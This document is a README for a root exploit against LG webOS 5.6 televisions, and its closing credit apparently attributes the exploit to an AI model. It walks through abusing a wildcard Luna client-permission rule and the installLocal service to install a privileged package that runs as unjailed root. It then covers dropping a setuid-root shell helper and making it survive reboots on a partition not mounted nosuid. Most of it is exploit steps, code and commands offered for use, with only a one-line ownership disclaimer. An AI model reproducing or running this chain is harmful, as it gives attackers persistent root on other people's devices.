Verified on an LG 2020-generation set: webOS 5.6.x, kernel 4.4.84, armv7l. It abuses two installer/ACL weaknesses:
- an over-broad Luna (LS2) client-permission wildcard that grants group
all, and appInstallService/installLocal, which will install a privileged service package (com.palm.*) thatdev/installrefuses — the hub then spawns that service as root, unjailed.
- TV in Dev Mode with SSH (or telnet) enabled → a command channel as the
prisoneruser. - Optional: an arm-linux-gnueabihf toolchain to rebuild the helpers (
build-helpers.sh); a prebuilt staticrootshships in project.
The precondition that decides whether this works is the wildcard ACL, not the model:
ls /usr/share/luna-service2/client-permissions.d/ # look for a rule like:
# {"<preinstalled-app-id>-*": ["all"]}If your set has a different wildcard, change the service name in chain.js to match it
(new Service('<that-app-id>-x'), and the client-permission file must grant group all).
| file | role |
|---|---|
chain.js |
the exploit: claims the wildcard bus name → installLocal → createLSConfigFiles → exec |
build_ipk.py |
builds the payload IPK (package com.palm.pwny, service com.palm.pwny.root) |
pwny.ipk |
prebuilt payload, byte-identical to what build_ipk.py produces |
run.sh |
driver: build → deploy → trigger → verify (~25 s) |
rootsh.c, prebuilt/rootsh-armv7l |
static setuid-root helper: /tmp/rootsh -c 'id' → uid 0 |
hostsh.c |
setuid-root helper that also joins PID 1's mount namespace (host view) |
tvreboot.c |
minimal reboot(2) helper |
build-helpers.sh |
cross-compile instructions for the helpers |
- Claim a bus name the ACL grants group
all. In legacy ACG mode the hub keys client permissions on the registered client name, so aprisonerprocess can register a name matching a preinstalled app's wildcard (<app>-*→all) and inherit groupall:var Service = require('webos-service'); var svc = new Service('com.webos.app.dangbei-overlay-pwn'); // positional ctor process.exit = function () {}; // library self-exits after ~2 s
- Install the payload (ACL-gated to
appinstalld.internal):luna://com.webos.appInstallService/installLocal { id: "com.palm.pwny", ipkUrl: "/media/developer/temp/pwny.ipk", target: { deviceId: "INTERNAL_STORAGE", share: true }, subscribe: true }sharemust be nested undertarget. Only Dev-Mode-installed files land in the verified tree (/media/cryptofs/apps/usr/palm/...). - Generate the LS2 registration:
luna://com.webos.appInstallService/createLSConfigFiles { id: "com.palm.pwny" }→ writes/var/luna-service2/services.d/com.palm.pwny.root.serviceand notifies the hub. - Trigger it: call any method of
luna://com.palm.pwny.root/...→ the hub spawns/usr/bin/run-js-service -n .../services/com.palm.pwny.root→ node as root,palm_jail=off. - Bootstrap: the payload (runs on every spawn) does
mknodfor the eMMC nodes (/tmp/mmcblk0,/tmp/mmP27,/tmp/mmP59, 0666), installs the setuid helper (/media/developer/temp/rootsh→/tmp/rootsh, mode 6755) and exposesexec {cmd}→ arbitrary command execution as root.
From then on root needs no Luna at all — a plain dev-mode session can run:
/tmp/rootsh -c 'id' # uid=0(root) gid=0(root)
/tmp/rootsh # interactive root shell/tmp/rootshlives in/tmp(gone on reboot) and the LS2 service file is pruned at boot once the app is removed (appinstallddeletes orphaned registrations) — so both are session-only.- For durable root, copy a setuid helper to a partition that is rw and not mounted
nosuid(checkmount), e.g. a vendor/data partition, mode 4755 root:root. It then survives reboots and needs neither the app nor the service. hostshis the same idea plussetns(/proc/1/ns/mnt, CLONE_NEWNS): the dev-mode jail hides/usr/sbin,/var/luna-service2,/etc/palm,/mnt/lg/cmn_data, so anything usingsystemctlor those paths needs the host namespace.
- Use only on devices you own or are explicitly authorised to test.
run.shassumes OpenSSH to a dev-mode SSH port; adapttv()for other channels.- pwned by Deepseek v4.1 Flash.